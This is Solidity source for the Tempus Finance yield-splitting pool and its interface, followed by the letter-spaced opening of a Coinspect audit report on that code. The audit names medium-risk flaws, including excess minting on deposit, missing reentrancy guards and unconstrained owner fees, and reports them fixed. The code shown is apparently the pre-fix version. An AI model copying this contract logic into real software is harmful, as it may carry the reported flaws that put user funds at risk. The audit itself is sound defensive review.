if (toBackingToken) { redeemToBacking( tempusPool, address(this), principalShare.balanceOf(address(this)), yieldShare.balanceOf(address(this)), msg.sender ); } else { redeemToYieldBearing( tempusPool, address(this), principalShare.balanceOf(address(this)), yieldShare.balanceOf(address(this)), msg.sender ); } } function doExitTempusAMMGivenLP( ITempusAMM tempusAMM, address sender, address recipient, uint256 lpTokensAmount, uint256[] memory minAmountsOut, bool toInternalBalances ) private { require(lpTokensAmount > 0, "LP token amount is 0"); (IVault vault, bytes32 poolId, IERC20[] memory ammTokens, ) = getAMMDetailsAndEnsureInitialized(tempusAMM); IVault.ExitPoolRequest memory request = IVault.ExitPoolRequest({ assets: ammTokens, minAmountsOut: minAmountsOut, userData: abi.encode(uint8(ITempusAMM.ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT), lpTokensAmount), toInternalBalance: toInternalBalances }); vault.exitPool(poolId, sender, payable(recipient), request); } function doExitTempusAMMGivenAmountsOut( ITempusAMM tempusAMM, address sender, address recipient, uint256[] memory amountsOut, uint256 lpTokensAmountInMax, bool toInternalBalances ) private { (IVault vault, bytes32 poolId, IERC20[] memory ammTokens, ) = getAMMDetailsAndEnsureInitialized(tempusAMM); IVault.ExitPoolRequest memory request = IVault.ExitPoolRequest({ assets: ammTokens, minAmountsOut: amountsOut, userData: abi.encode( uint8(ITempusAMM.ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT), amountsOut, lpTokensAmountInMax ), toInternalBalance: toInternalBalances }); vault.exitPool(poolId, sender, payable(recipient), request); } function getAMMDetailsAndEnsureInitialized(ITempusAMM tempusAMM) private view returns ( IVault vault, bytes32 poolId, IERC20[] memory ammTokens, uint256[] memory ammBalances ) { vault = tempusAMM.getVault(); poolId = tempusAMM.getPoolId(); (ammTokens, ammBalances, ) = vault.getPoolTokens(poolId); require( ammTokens.length == 2 && ammBalances.length == 2 && ammBalances[0] > 0 && ammBalances[1] > 0, "AMM not initialized" ); } function getAMMBalancesRatio(uint256[] memory ammBalances) private pure returns (uint256[2] memory balancesRatio) { uint256 rate = ammBalances[0].divf18(ammBalances[1]); (balancesRatio[0], balancesRatio[1]) = rate > Fixed256x18.ONE ? (Fixed256x18.ONE, Fixed256x18.ONE.divf18(rate)) : (rate, Fixed256x18.ONE); } function getAMMOrderedAmounts( ITempusPool tempusPool, uint256 principalAmount, uint256 yieldAmount ) private view returns (uint256[] memory) { uint256[] memory amounts = new uint256[](2); (amounts[0], amounts[1]) = (tempusPool.principalShare() < tempusPool.yieldShare()) ? (principalAmount, yieldAmount) : (yieldAmount, principalAmount); return amounts; } } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./ITempusPool.sol"; import "./token/PrincipalShare.sol"; import "./token/YieldShare.sol"; import "./math/Fixed256x18.sol"; import "./utils/PermanentlyOwnable.sol"; /// @author The tempus.finance team /// @title Implementation of Tempus Pool abstract contract TempusPool is ITempusPool, PermanentlyOwnable { using SafeERC20 for IERC20; using Fixed256x18 for uint256; uint public constant override version = 1; address public immutable override yieldBearingToken; address public immutable override backingToken; uint256 public immutable override startTime; uint256 public immutable override maturityTime; uint256 public immutable override initialInterestRate; uint256 public override maturityInterestRate; IPoolShare public immutable override principalShare; IPoolShare public immutable override yieldShare; address public immutable override controller; uint256 private immutable initialEstimatedYield; bool public override matured; FeesConfig feesConfig; /// total amount of fees accumulated in pool uint256 public override totalFees; /// Constructs Pool with underlying token, start and maturity date /// @param token underlying yield bearing token /// @param bToken backing token (or zero address if ETH) /// @param ctrl The authorized TempusController of the pool /// @param maturity maturity time of this pool /// @param initInterestRate initial interest rate of the pool /// @param estimatedFinalYield estimated yield for the whole lifetime of the pool /// @param principalName name of Tempus Principal Share /// @param principalSymbol symbol of Tempus Principal Share /// @param yieldName name of Tempus Yield Share /// @param yieldSymbol symbol of Tempus Yield Share constructor( address token, address bToken, address ctrl, uint256 maturity, uint256 initInterestRate, uint256 estimatedFinalYield, string memory principalName, string memory principalSymbol, string memory yieldName, string memory yieldSymbol ) { require(maturity > block.timestamp, "maturityTime is after startTime"); yieldBearingToken = token; backingToken = bToken; controller = ctrl; startTime = block.timestamp; maturityTime = maturity; initialInterestRate = initInterestRate; initialEstimatedYield = estimatedFinalYield; principalShare = new PrincipalShare(this, principalName, principalSymbol); yieldShare = new YieldShare(this, yieldName, yieldSymbol); } modifier onlyController() { require(msg.sender == controller, "Only callable by TempusController"); _; } function depositToUnderlying(uint256 amount) internal virtual returns (uint256 mintedYieldTokenAmount); function withdrawFromUnderlyingProtocol(uint256 amount, address recipient) internal virtual returns (uint256 backingTokenAmount); /// Finalize the pool after maturity. function finalize() external override { if (!matured) { require(block.timestamp >= maturityTime, "Maturity not been reached yet."); maturityInterestRate = currentInterestRate(); matured = true; assert(IERC20(address(principalShare)).totalSupply() == IERC20(address(yieldShare)).totalSupply()); } } function getFeesConfig() external view override returns (FeesConfig memory) { return feesConfig; } function setFeesConfig(FeesConfig calldata newFeesConfig) external override onlyOwner { feesConfig = newFeesConfig; } function transferFees(address recipient, uint256 amount) external override onlyOwner { if (amount == type(uint256).max) { amount = totalFees; } else { require(amount <= totalFees, "not enough accumulated fees"); } totalFees -= amount; IERC20 token = IERC20(yieldBearingToken); token.safeIncreaseAllowance(address(this), amount); token.safeTransferFrom(address(this), recipient, amount); } function depositBacking(uint256 backingTokenAmount, address recipient) external payable override onlyController returns ( uint256 mintedShares, uint256 depositedYBT, uint256 rate ) { require(backingTokenAmount > 0, "backingTokenAmount must be greater than 0"); depositedYBT = depositToUnderlying(backingTokenAmount); assert(depositedYBT > 0); (mintedShares, , rate) = _deposit(depositedYBT, recipient); } function deposit(uint256 yieldTokenAmount, address recipient) external override onlyController returns ( uint256 mintedShares, uint256 depositedBT, uint256 rate ) { require(yieldTokenAmount > 0, "yieldTokenAmount must be greater than 0"); // Collect the deposit IERC20(yieldBearingToken).safeTransferFrom(msg.sender, address(this), yieldTokenAmount); (mintedShares, depositedBT, rate) = _deposit(yieldTokenAmount, recipient); } function _deposit(uint256 yieldTokenAmount, address recipient) internal returns ( uint256 mintedShares, uint256 depositedBT, uint256 rate ) { require(!matured, "Maturity reached."); rate = updateInterestRate(yieldBearingToken); require(rate >= initialInterestRate, "Negative yield!"); // Collect fees if they are set, reducing the number of tokens for the sender // thus leaving more YBT in the TempusPool than there are minted TPS/TYS uint256 tokenAmount = yieldTokenAmount; uint256 depositFees = feesConfig.depositPercent; if (depositFees != 0) { uint256 fee = tokenAmount.mulf18(depositFees); tokenAmount -= fee; totalFees += fee; } // Issue appropriate shares depositedBT = numAssetsPerYieldToken(tokenAmount, rate); mintedShares = (depositedBT * initialInterestRate) / rate; PrincipalShare(address(principalShare)).mint(recipient, mintedShares); YieldShare(address(yieldShare)).mint(recipient, mintedShares); } function redeemToBacking( address from, uint256 principalAmount, uint256 yieldAmount, address recipient ) external payable override onlyController returns ( uint256 redeemedYieldTokens, uint256 redeemedBackingTokens, uint256 rate ) { (redeemedYieldTokens, rate) = burnShares(from, principalAmount, yieldAmount); redeemedBackingTokens = withdrawFromUnderlyingProtocol(redeemedYieldTokens, recipient); } function redeem( address from, uint256 principalAmount, uint256 yieldAmount, address recipient ) external override onlyController returns (uint256 redeemedYieldTokens, uint256 rate) { (redeemedYieldTokens, rate) = burnShares(from, principalAmount, yieldAmount); IERC20(yieldBearingToken).safeTransfer(recipient, redeemedYieldTokens); } function burnShares( address from, uint256 principalAmount, uint256 yieldAmount ) internal returns (uint256 redeemedYieldTokens, uint256 interestRate) { require(IERC20(address(principalShare)).balanceOf(from) >= principalAmount, "Insufficient principals."); require(IERC20(address(yieldShare)).balanceOf(from) >= yieldAmount, "Insufficient yields."); // Redeeming prior to maturity is only allowed in equal amounts. require(matured || (principalAmount == yieldAmount), "Inequal redemption not allowed before maturity."); // Burn the appropriate shares PrincipalShare(address(principalShare)).burnFrom(from, principalAmount); YieldShare(address(yieldShare)).burnFrom(from, yieldAmount); uint256 currentRate = updateInterestRate(yieldBearingToken); (redeemedYieldTokens, , interestRate) = getRedemptionAmounts(principalAmount, yieldAmount, currentRate); // Collect fees on redeem uint256 redeemFees = matured ? feesConfig.matureRedeemPercent : feesConfig.earlyRedeemPercent; if (redeemFees != 0) { uint256 yieldTokensFee = redeemedYieldTokens.mulf18(redeemFees); redeemedYieldTokens -= yieldTokensFee; // Apply fee totalFees += yieldTokensFee; } } function getRedemptionAmounts( uint256 principalAmount, uint256 yieldAmount, uint256 currentRate ) private view returns ( uint256 redeemableYieldTokens, uint256 redeemableBackingTokens, uint256 interestRate ) { interestRate = effectiveRate(currentRate); if (interestRate < initialInterestRate) { redeemableBackingTokens = (principalAmount * interestRate) / initialInterestRate; } else { uint256 rateDiff = interestRate - initialInterestRate; // this is expressed in backing token uint256 amountPerYieldShareToken = rateDiff.divf18(initialInterestRate); uint256 redeemAmountFromYieldShares = yieldAmount.mulf18(amountPerYieldShareToken); // TODO: Scale based on number of decimals for tokens redeemableBackingTokens = principalAmount + redeemAmountFromYieldShares; } redeemableYieldTokens = numYieldTokensPerAsset(redeemableBackingTokens, currentRate); } function currentInterestRate() public view override returns (uint256) { return storedInterestRate(yieldBearingToken); } function effectiveRate(uint256 currentRate) private view returns (uint256) { if (matured) { return (currentRate < maturityInterestRate) ? currentRate : maturityInterestRate; } else { return currentRate; } } function currentYield(uint256 interestRate) private view returns (uint256) { return (effectiveRate(interestRate) - initialInterestRate).divf18(initialInterestRate); } function currentYield() private returns (uint256) { return currentYield(updateInterestRate(yieldBearingToken)); } function currentYieldStored() private view returns (uint256) { return currentYield(storedInterestRate(yieldBearingToken)); } function estimatedYield() private returns (uint256) { return estimatedYield(currentYield()); } function estimatedYieldStored() private view returns (uint256) { return estimatedYield(currentYieldStored()); } function estimatedYield(uint256 yieldCurrent) private view returns (uint256) { if (matured) { return yieldCurrent; } uint256 currentTime = block.timestamp; uint256 timeToMaturity = (maturityTime > currentTime) ? (maturityTime - currentTime) : 0; uint256 poolDuration = maturityTime - startTime; return yieldCurrent + timeToMaturity.divf18(poolDuration).mulf18(initialEstimatedYield); } /// Caluculations for Pricint Tmpus Yields and Tempus Principals /// pricePerYield + pricePerPrincipal = 1 + currentYield (1) /// pricePerYield : pricePerPrincipal = estimatedYield : 1 (2) /// pricePerYield = pricePerPrincipal * estimatedYield (3) /// using (3) in (1) we get: /// pricePerPrincipal * (1 + estimatedYield) = 1 + currentYield /// pricePerPrincipal = (1 + currentYield) / (1 + estimatedYield) /// pricePerYield = (1 + currentYield) * estimatedYield() / (1 + estimatedYield) function pricePerYieldShare(uint256 currYield, uint256 estYield) private pure returns (uint256) { return (estYield.mulf18(Fixed256x18.ONE + currYield)).divf18(Fixed256x18.ONE + estYield); } function pricePerPrincipalShare(uint256 currYield, uint256 estYield) private pure returns (uint256) { return (Fixed256x18.ONE + currYield).divf18(Fixed256x18.ONE + estYield); } function pricePerYieldShare() external override returns (uint256) { return pricePerYieldShare(currentYield(), estimatedYield()); } function pricePerYieldShareStored() external view override returns (uint256) { return pricePerYieldShare(currentYieldStored(), estimatedYieldStored()); } function pricePerPrincipalShare() external override returns (uint256) { return pricePerPrincipalShare(currentYield(), estimatedYield()); } function pricePerPrincipalShareStored() external view override returns (uint256) { return pricePerPrincipalShare(currentYieldStored(), estimatedYieldStored()); } // TODO Reduce possible duplication /// @dev This updates the underlying pool's interest rate /// It should be done first thing before deposit/redeem to avoid arbitrage /// @return Updated current Interest Rate as an 1e18 decimal function updateInterestRate(address token) internal virtual returns (uint256); /// @dev This returns the stored Interest Rate of the YBT (Yield Bearing Token) pool /// it is safe to call this after updateInterestRate() was called /// @param token The address of the YBT protocol /// e.g it is an AToken in case of Aave, CToken in case of Compound, StETH in case of Lido /// @return Stored Interest Rate as an 1e18 decimal function storedInterestRate(address token) internal view virtual returns (uint256); function numYieldTokensPerAsset(uint backingTokens, uint interestRate) public view virtual override returns (uint); function numAssetsPerYieldToken(uint yieldTokens, uint interestRate) public pure virtual override returns (uint); } // SPDX-License-Identifier: UNLICENSED pragma solidity >=0.7.6 <0.9.0; pragma abicoder v2; import "./token/IPoolShare.sol"; interface ITempusFees { // The fees are in terms of yield bearing token (YBT). struct FeesConfig { uint256 depositPercent; uint256 earlyRedeemPercent; uint256 matureRedeemPercent; } /// Returns the current fee configuration. function getFeesConfig() external view returns (FeesConfig memory); /// Replace the current fee configuration with a new one. /// By default all the fees are expected to be set to zero. function setFeesConfig(FeesConfig calldata newFeesConfig) external; /// Accumulated fees available for withdrawal. function totalFees() external view returns (uint256); /// Transfers accumulated Yield Bearing Token (YBT) fees /// from this pool contract to `recipient` /// /// @param recipient Address which will receive the specified amount of YBT /// @param amount Amount of YBT to transfer, cannot be more than totalFees. /// If amount is uint256.max, then all accumulated fees are transferred. function transferFees(address recipient, uint256 amount) external; } interface ITempusPool is ITempusFees { /// @return The version of the pool. function version() external view returns (uint); /// @return The name of underlying protocol, for example "Aave" for Aave protocol function protocolName() external view returns (bytes32); /// This token will be used as a token that user can deposit to mint same amounts /// of principal and interest shares. /// @return The underlying yield bearing token. function yieldBearingToken() external view returns (address); /// This is the address of the actual backing asset token /// in the case of ETH, this address will be 0 /// @return Address of the Backing Token function backingToken() external view returns (address); /// @return This TempusPool's Tempus Principal Share (TPS) function principalShare() external view returns (IPoolShare); /// @return This TempusPool's Tempus Yield Share (TYS) function yieldShare() external view returns (IPoolShare); /// @return The TempusController address that is authorized to perform restricted actions function controller() external view returns (address); /// @return Start time of the pool. function startTime() external view returns (uint256); /// @return Maturity time of the pool. function maturityTime() external view returns (uint256); /// @return True if maturity has been reached and the pool was finalized. function matured() external view returns (bool); /// Finalize the pool. This can only happen on or after `maturityTime`. /// Once finalized depositing is not possible anymore, and the behaviour /// redemption will change. /// /// Can be called by anyone and can be called multiple times. function finalize() external; /// Deposits yield bearing tokens (such as cDAI) into TempusPool /// msg.sender must approve @param yieldTokenAmount to this TempusPool /// NOTE #1 Deposit will fail if maturity has been reached. /// NOTE #2 This function can only be called by TempusController /// @param yieldTokenAmount Amount of yield bearing tokens to deposit /// @param recipient Address which will receive Tempus Principal Shares (TPS) and Tempus Yield Shares (TYS) /// @return mintedShares Amount of TPS and TYS minted to `recipient` /// @return depositedBT The YBT value deposited, denominated as Backing Tokens /// @return rate The interest rate at the time of the deposit function deposit(uint256 yieldTokenAmount, address recipient) external returns ( uint256 mintedShares, uint256 depositedBT, uint256 rate ); /// Deposits backing token to the underlying protocol, and then to Tempus Pool. /// NOTE #1 Deposit will fail if maturity has been reached. /// NOTE #2 This function can only be called by TempusController /// @param backingTokenAmount amount of Backing Tokens to be deposit into the underlying protocol /// @param recipient Address which will receive Tempus Principal Shares (TPS) and Tempus Yield Shares (TYS) /// @return mintedShares Amount of TPS and TYS minted to `recipient` /// @return depositedYBT The BT value deposited, denominated as Yield Bearing Tokens /// @return rate The interest rate at the time of the deposit function depositBacking(uint256 backingTokenAmount, address recipient) external payable returns ( uint256 mintedShares, uint256 depositedYBT, uint256 rate ); /// Redeem yield bearing tokens from this TempusPool /// msg.sender will receive the YBT /// NOTE #1 Before maturity, principalAmount must equal to yieldAmount. /// NOTE #2 This function can only be called by TempusController /// @param from Address to redeem its Tempus Shares /// @param principalAmount Amount of Tempus Principal Shares (TPS) to redeem for YBT /// @param yieldAmount Amount of Tempus Yield Shares (TYS) to redeem for YBT /// @param recipient Address to which redeemed YBT will be sent /// @return redeemableYieldTokens Amount of Yield Bearing Tokens redeemed to `recipient` /// @return rate The interest rate at the time of the redemption function redeem( address from, uint256 principalAmount, uint256 yieldAmount, address recipient ) external returns (uint256 redeemableYieldTokens, uint256 rate); /// Redeem TPS+TYS held by msg.sender into backing tokens /// `msg.sender` must approve TPS and TYS amounts to this TempusPool. /// `msg.sender` will receive the backing tokens /// NOTE #1 Before maturity, principalAmount must equal to yieldAmount. /// NOTE #2 This function can only be called by TempusController /// @param from Address to redeem its Tempus Shares /// @param principalAmount Amount of Tempus Principal Shares (TPS) to redeem /// @param yieldAmount Amount of Tempus Yield Shares (TYS) to redeem /// @param recipient Address to which redeemed BT will be sent /// @return redeemableYieldTokens Amount of Backing Tokens redeemed to `recipient`, denominated in YBT /// @return redeemableBackingTokens Amount of Backing Tokens redeemed to `recipient` /// @return rate The interest rate at the time of the redemption function redeemToBacking( address from, uint256 principalAmount, uint256 yieldAmount, address recipient ) external payable returns ( uint256 redeemableYieldTokens, uint256 redeemableBackingTokens, uint256 rate ); /// The current interest rate of the underlying pool /// Calling this can accrue interest in the underlying pool /// @return The interest rate function currentInterestRate() external view returns (uint256); /// @return Initial interest rate of the underlying pool function initialInterestRate() external view returns (uint256); /// @return Interest rate at maturity of the underlying pool (or 0 if maturity not reached yet) function maturityInterestRate() external view returns (uint256); /// @return Rate of one Tempus Yield Share expressed in Asset Tokens function pricePerYieldShare() external returns (uint256); /// @return Rate of one Tempus Principal Share expressed in Asset Tokens function pricePerPrincipalShare() external returns (uint256); /// Calculated with stored interest rates /// @return Rate of one Tempus Yield Share expressed in Asset Tokens, function pricePerYieldShareStored() external view returns (uint256); /// Calculated with stored interest rates /// @return Rate of one Tempus Principal Share expressed in Asset Tokens function pricePerPrincipalShareStored() external view returns (uint256); /// @dev This returns actual Backing Token amount for amount of YBT (Yield Bearing Tokens) /// For example, in case of Aave and Lido the result is 1:1, /// and for compound is `yieldTokens * currentInterestRate` /// @param yieldTokens Amount of YBT /// @param interestRate The current interest rate /// @return Amount of Backing Tokens for specified @param yieldTokens function numAssetsPerYieldToken(uint yieldTokens, uint interestRate) external pure returns (uint); /// @dev This returns amount of YBT (Yield Bearing Tokens) that can be converted /// from @param backingTokens Backing Tokens /// @param backingTokens Amount of Backing Tokens /// @param interestRate The current interest rate /// @return Amount of YBT for specified @param backingTokens function numYieldTokensPerAsset(uint backingTokens, uint interestRate) external view returns (uint); }
Tempus FinanceSmart Contract AuditT e m p u s S m a r t C o n t r a c t A u d i t v 2 1 1 0 1 3 P r e p a r e d f o r T e m p u s • O c t o b e r 2 0 2 1 T a b l E o F c O n T E n t S 1 . E x e c u t i v e S u m m a r y 2 . I n t r o d u c t i o n 3 . A s s e s s m e n t 4 . S u m m a r y o f F i n d i n g s 5 . D e t a i l e d F i n d i n g s T E M - 1 F u n c t i o n d e p o s i t m i n t s m o r e t o k e n s t h a n i t s h o u l d T E M - 2 L a c k o f r e e n t r a n c y p r o t e c t i o n m e c h a n i s m s T E M - 3 P o o l o w n e r c a n s e t a r b i t r a r y f e e s 6 . D i s c l a i m e r 1 . E x e c u t i v e S u m m a r y I n S e p t e m b e r 2 0 2 1 , T e m p u s e n g a g e d C o i n s p e c t t o p e r f o r m a s o u r c e c o d e r e v i e w o f t h e i r o n - c h a i n d e r i v a t i v e s m a r k e t p l a c e . T h e o b j e c t i v e o f t h e p r o j e c t w a s t o e v a l u a t e t h e s e c u r i t y o f t h e s m a r t c o n t r a c t s . T e m p u s c o n t r a c t s a r e c l e a r l y d o c u m e n t e d a n d t h e t e s t s i n c l u d e d i n t h e p r o j e c t p r o v i d e g o o d c o v e r a g e . N o h i g h - r i s k v u l n e r a b i l i t i e s t h a t w o u l d r e s u l t i n s t o l e n u s e r s f u n d s w e r e i d e n t i fi e d . H o w e v e r , o n e m e d i u m - r i s k i s s u e ( h i g h i m p a c t , b u t l o w l i k e l i h o o d ) w a s r e p o r t e d t h a t c o u l d i m p a c t u s e r f u n d s i f c u r r e n t s e c u r i t y a s s u m p t i o n s c h a n g e i n t h e f u t u r e . A n o t h e r m e d i u m - r i s k i s s u e w a s r e p o r t e d r e l a t e d t o t h e p o w e r t h e p o o l o w n e r s p o s s e s s t o u p d a t e f e e s w i t h o u t c o n s t r a i n t s a n d t h a t c o u l d b e a b u s e d t o h a r m u s e r s i f t h e a c c o u n t w e r e c o m p r o m i s e d . A d d i t i o n a l l y , s e v e r a l r e c o m m e n d a t i o n s a r e p r o v i d e d w i t h t h e g o a l o f f u r t h e r i n c r e a s i n g t h e s e c u r i t y o f t h e p l a t f o r m . T h e f o l l o w i n g i s s u e s w e r e i d e n t i fi e d d u r i n g t h e a s s e s s m e n t : H i g h R i s k M e d i u m R i s k L o w R i s k 0 3 0 F i x e d - F i x e d 1 0 0 % F i x e d - D u r i n g O c t o b e r 2 0 2 1 , C o i n s p e c t v e r i fi e d t h a t t h e i s s u e s r e p o r t e d h a d b e e n c o r r e c t l y fi x e d b y t h e T e m p u s t e a m , a n d t h i s r e p o r t w a s u p d a t e d t o r e fl e c t t h a t . © 2 0 2 1 C o i n s p e c t 12 . I n t r o d u c t i o n T h e a u d i t s t a r t e d o n A u g u s t 3 0 a n d w a s c o n d u c t e d o n t h ecoinspect-audit-1 b r a n c h o f t h e g i t r e p o s i t o r y a t h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l a s o f c o m m i tee5964bd416770e00639a4053b45f346e4bf8b93 o f A u g u s t 3 0 , 2 0 2 1 . T h e s c o p e o f t h e a u d i t w a s l i m i t e d t o t h e f o l l o w i n g S o l i d i t y s o u r c e fi l e s , s h o w n h e r e w i t h t h e i r s h a 2 5 6 s u m h a s h : 5b6e4d28629c7a79d4459c20a29a52511a201d250e294128da2a07392a005935 ./protocols/lido/ILido.sol8a2f219345a683b3e5cbd8e2dcbfee87a247388b4714d530ef90d4393da93a69 ./protocols/compound/ICToken.sol4502b84ac9b51d5411746c8f22132befb0103bf454309b0b78eabd6970bd5ff5 ./protocols/compound/ICErc20.solb85b62c35fdbbcfee563d24d02ec06f2ce79a730e6e226fb3fbee423822a5ab4 ./protocols/compound/IComptroller.sol6c64c9e97c6c84dc8f647d44ba49b653e4bceb0eb586ca03db2041acf44f5648 ./protocols/aave/IAToken.solf0104e96f0dc3f6373b73ab01aae4ce005ebb2c39b5e846eeafcf3252500c3bb ./protocols/aave/ILendingPool.sole53250bd47efc21eeec629c62e833ad30611bcaa4c72f1f6a552337e3dea82f3 ./mocks/lido/LidoMock.sol0746b6511cd9d16ca569847eb96f89fc951f5463e2373ff2e27030365609d843 ./mocks/lido/StETH.sol77c28395f5128df496563bb6d8b929143c638c54ce5239d4382facebffdd25b4 ./mocks/compound/CErc20.solede80370a3e7440b84d02b33d507730153d211c8f3c2b256a889d91e0407cee2 ./mocks/compound/CTokenInterfaces.sol7fdc76a53c42ea71bd369ec22860de6c152cfd494a4f1c02af5623e4ada9f31a ./mocks/compound/ComptrollerStorage.sol978177c66abac4768c229b02ea798924be68f8f531a69b43ae6944b80dc583b7 ./mocks/compound/ComptrollerMock.sol2d9aebda970411162ce08df9d0eb44561782bec84c79925500d1dbf483534622 ./mocks/compound/CTokenMock.sol92a93a59a6facc7105b48ed9aa476c011ed0f346986540dd066fd68330abb400 ./mocks/compound/ComptrollerInterface.sol3b2d7bd4a4375f3317089415958844d2402e2821e3a7b745a6807f4aa99e6d95 ./mocks/aave/AavePoolMock.sol1b51f2c1725f2f6df66be949fa6b60ce75522544d68e68cea01b7ae16a49d325 ./mocks/aave/WadRayMath.solc13497111087cfd4cc4b9882fa8066a90119dd478cebbcf06be0b7729248d370 ./mocks/aave/ATokenMock.sol82a7eae58492d55b2b7a5f5d0324e38a2a93b137215bc0d8e8aa8c19ea411fbe ./stats/ITokenPairPriceFeed.solb42d38dbfcabfa71534374152b3aed995e1a113e770105ae5b1f77f938bc8c0d ./stats/ChainlinkTokenPairPriceFeed/IENS.sol4b056b69ae0b7605f72bdeea43c8a2add317389ddb42def9ca9d1bfc3a0977bd./stats/ChainlinkTokenPairPriceFeed/ChainlinkTokenPairPriceFeed.sol56d3a1b7bef8cf124887dffccf4f05f14cc015e249cd4fbbc670986cad616820./stats/ChainlinkTokenPairPriceFeed/IChainlinkAggregator.sol0847e91fdd10d28a44b1e4dd5a094282163a95f8fbf44c829c05d809557118b9 ./stats/Stats.solaff1de973bf67c6df47a340c702753d56aced09196a5c48a7feebf275bac98fe ./math/Fixed256x18.sol840d89dbe5d33f8b6da5f8a63952eda85dfb2c34338d3c6be45e8d69aecd9dc5 ./utils/PermanentlyOwnable.sol6c60930c926c93f3c47250c49168506eecdc00fc95fd6aba6b6d8da3e1d40b46 ./token/PoolShare.sol0331eb2ae72a57de4bac35c03e0016258b68b91738cc37f8fc448a413308c0fd ./token/YieldShare.sol60ac71ccc8c38d97bfe0c6c1a5d5d3d733764bf8bef4c83e02c407c8f759b6ce ./token/TempusToken.solbe0351ae2a3aee6aa53a483031e8200f2a11e143a556136a20fcd285992edc59 ./token/ERC20FixedSupply.solaef4de5fd37327b01a6b05628da8f6a772b8965e8ab5915421a4dccccc320146 ./token/IPoolShare.sol29b8b4bd48aa14d335f7054c06ba83903d8f0189768bff17943448e8e12bdb37 ./token/ERC20OwnerMintableToken.sol36f8adfc19d6ed53a608b57920c5280945b129ac897239853e290b6ddcefb291 ./token/PrincipalShare.sol25c0d1ef81134c81be850c66157df6f01cda7e51102444e571bb3ec29e62f122 ./pools/CompoundTempusPool.sol03fe7110033fcc54307200dbde00e5441a68f90961e6ac5f4e29e6edcb6334a3 ./pools/AaveTempusPool.sol1dca8d086cdba0c1c3d8400314db9dc6dbd5a13077c48de79679a19f41a554e3 ./pools/LidoTempusPool.sol3253db9ab498d966a48ff892f70a38a9a12aec260ee5d8a8948b981367fe5dbd ./TempusPool.sol31fe02244c8e2d0a16a6a671dcef5cd3b90a4a974a45f74ff2b63b6d1d14dc36 ./ITempusPool.solf458161e8b8e43737c162b3ddd71e0644a41cf6f77d391dfdafa856072200206 ./amm/mocks/TempusShareMock.solaaae15490422332f3ceb18f9a29d2091bc72965d13b7144437246ea27960f847 ./amm/Authorizer.sol7eab3535167bfcfdde357cfdddc5601ba30b7b01069a6a5f9e7645faa2db8f18 ./amm/interfaces/IVault.sol450565d938ef48342fcaf449012abcf431137f8b56a52cd00f4833886a1f1706 ./amm/interfaces/IRateProvider.solfbd26660d07cbb22e963b45eb6ca76ca269556b0f06d0c96dcdeafeb554503a5 ./amm/interfaces/ITempusAMM.sole3755ea2db9796103f1285a0e89516b990c4741ab89b803f1c7fdf66bd2ec51b ./amm/TempusAMMUserDataHelpers.sol171da6d69d5d1db4ccc3b2071c5ba5a6c5f22367f7f01658f74a0fe4766bd36f ./amm/StableMath.sol0f80c002fdc4a9aacd1fb5e3379ec9401d445db9d41cc88f0d655144296f4768 ./amm/TempusAMMFactory.sol © 2 0 2 1 C o i n s p e c t 29f9b291cfb6bd8cccc0b06b4d5967a053c267d1c09bc61616c23ea6660ce4419 ./amm/TempusAMM.sole029a1af1a4e6e615907c5d3a6ec79ae51f9cd16cbc460f1caa544593eca4bad ./amm/Vault.sol19c718dd546e90122d7c373d4dfd12d585f2dc646a80380862c4552d69efe81d ./TempusController.sol D u r i n g O c t o b e r 2 0 2 1 C o i n s p e c t a u d i t e d t h e c h a n g e s i n t h e u p d a t e d c o i n s p e c t - a u d i t - 2 b r a n c h o f t h e G i t H u b r e p o s i t o r y t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l a s o f c o m m i tf66be61a187423f73cb25ad31934ce3afd3c10f4 o f O c t o b e r 1 , 2 0 2 1 . T h e f o l l o w i n g p u l l r e q u e s t s w e r e i n s c o p e a s p e r t h e c l i e n t ’ s r e q u e s t : 1 . h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 2 3 2 . h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 3 1 3 . h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 1 4 4 . h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 2 4 5 . h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 3 7 6 . h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 1 0 T e m p u s i n t e r a c t s w i t h t h e f o l l o w i n g e x t e r n a l p r o t o c o l s : L i d o , A A V E , C o m p o u n d a n d C h a i n l i n k . T h e s e e x t e r n a l d e p e n d e n c i e s w e r e n o t i n s c o p e f o r t h i s e n g a g e m e n t . T e m p u s A M M i s b a s e d o n B a l a n c e r ’ s V 2 V a u l t s . T h e fi l e s i m p o r t e d f r o m B a l a n c e r ’ s p r o j e c t ’ s r e p o s i t o r y w e r e n o t f u l l y r e v i e w e d . © 2 0 2 1 C o i n s p e c t 33 . A s s e s s m e n t T e m p u s i s a n o n - c h a i n d e r i v a t i v e s m a r k e t p l a c e t h a t a l l o w s u s e r s t o o p t i m i z e t h e i r e x i s t i n g e x p o s u r e t o v a r i a b l e y i e l d a c c o r d i n g t o t h e i r r i s k p r o fi l e . S p e c i fi c a l l y , T e m p u s a l l o w s u s e r s t o d y n a m i c a l l y a d j u s t r i s k a n d c o n v e r t v a r i a b l e y i e l d r a t e s i n t o fi x e d r a t e s . I n a d d i t i o n , i t e n a b l e s u s e r s t o e a r n a d d i t i o n a l y i e l d a s l i q u i d i t y p r o v i d e r s i f t h e y d e s i r e . T e m p u s a l l o w s u s e r s t o d e p o s i t v a r i o u s y i e l d b e a r i n g t o k e n s ( Y B T ) o n i t s p l a t f o r m . T h e f o l l o w i n g t o k e n s a r e c u r r e n t l y a v a i l a b l e : ● c T o k e n s ( C o m p o u n d I n t e r e s t B e a r i n g T o k e n s ) ● a T o k e n s ( A a v e I n t e r e s t B e a r i n g T o k e n s ) ● s t E T H ( L i d o S t a k e d E T H ) T h e Y B T s a r e d 